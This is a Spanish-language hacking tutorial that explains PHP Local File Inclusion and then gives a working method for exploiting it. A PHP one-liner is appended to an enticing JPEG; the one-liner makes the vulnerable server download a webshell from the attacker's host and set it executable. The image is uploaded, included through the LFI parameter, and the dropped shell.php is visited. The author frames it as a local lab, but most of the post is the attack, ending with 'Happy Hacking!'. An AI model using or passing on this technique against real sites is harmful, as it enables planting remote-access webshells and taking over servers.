
by hdbreaker
¿Que es un Local File Inclusion?
Local File Inclusion, o traducido al castellano inclusion local de archivos, se trata de la inclusion de ficheros locales, es decir, ficheros que se encuentran en el mismo servidor de la web con este tipo de fallo, a diferencia de Remote File Inclusion que incluye ficheros alojados en otros servidores. Es consecuencia de un fallo en la programacion de la página, mal filtrado de los que se incluye al usar funciones en PHP para incluir archivos.
Ejemplo de incusion de ficheros locales:
http://web.com/index.php?page=empresa.php
http://web.com/index.php?page=contacto.php
Funciones PHP más usadas que permiten inclusión de ficheros: include "fichero"; require "fichero"; include_once "fichero"; require_once "fichero"; En este post explicare como subir shell dentro de un servidor por medio de un jpg, para explotarlo por medio de LFI.
Para profundizar recomiendo la siguiente lectura:
http://wiki.elhacker.net/bugs-y-exploits/nivel-web/lfi
Empecemos:
1) Necesitamos 3 cosas una shell.php (con el contenido de nuestra webshell preferida),
una imagen q llame la atención yo elegi sexy.jpg y un archivo shell.txt con la siguiente String
<?php copy("http://servidor.com/shell.txt","nombreshell.php"); chmod("nombreshell.php",0755); ?>

Como vemos en la imagen tenemos una foto muy llamativa y un archivo shell.txt con el siguiente string
<?php copy("http://servidor.com/shell.txt","nombreshell.php"); chmod("nombreshell.php",0755); ?>yo lo configure de la siguiente manera ya que es un laboratorio local.
<? copy("http://192.168.1.1/shell.txt","shell.php"); chmod("shell.php",0755); ?>
El string en php hace lo siguiente:
Copia el contenido de shell.txt situada en nuestro servidor dentro de shell.php
(lo crea dentro de servidor vulnerable) y le asigna permisos 755
Abrimos nuestro terminal y nos situamos en la carpeta donde tenemos la foto sexy.jpg y shell.txt
y tipeamos:
cat shell.txt >> sexy.jpg

Todo termina correctamente, y si hacemos un cat a sexy.jpg podemos ver el Source Incluido en ella
cat sexy.jpg

Abrimos sexy.jpg y vemos q la imagen abre sin ningun problema

Ahora nos resta subir sexy.jpg a un servidor Vulnerable a LFI e incluir la Imagen para q se ejecute su contenido php.
(Asumo que ya tiene acceso a AdminPanel y existe un Upload en "X" servidor con una Vulnerabilidad LFI)
http://WebVulnerable/LFI.php?Parametro=sexy.jpg

veremos que algunos caracteres aparecen en el navegador (estos son los caracteres Internos del jpg)
luego simplemente visitamos nuestra shell con la url correspondiente
http://WebVulnerable/shell.php

Happy Hacking!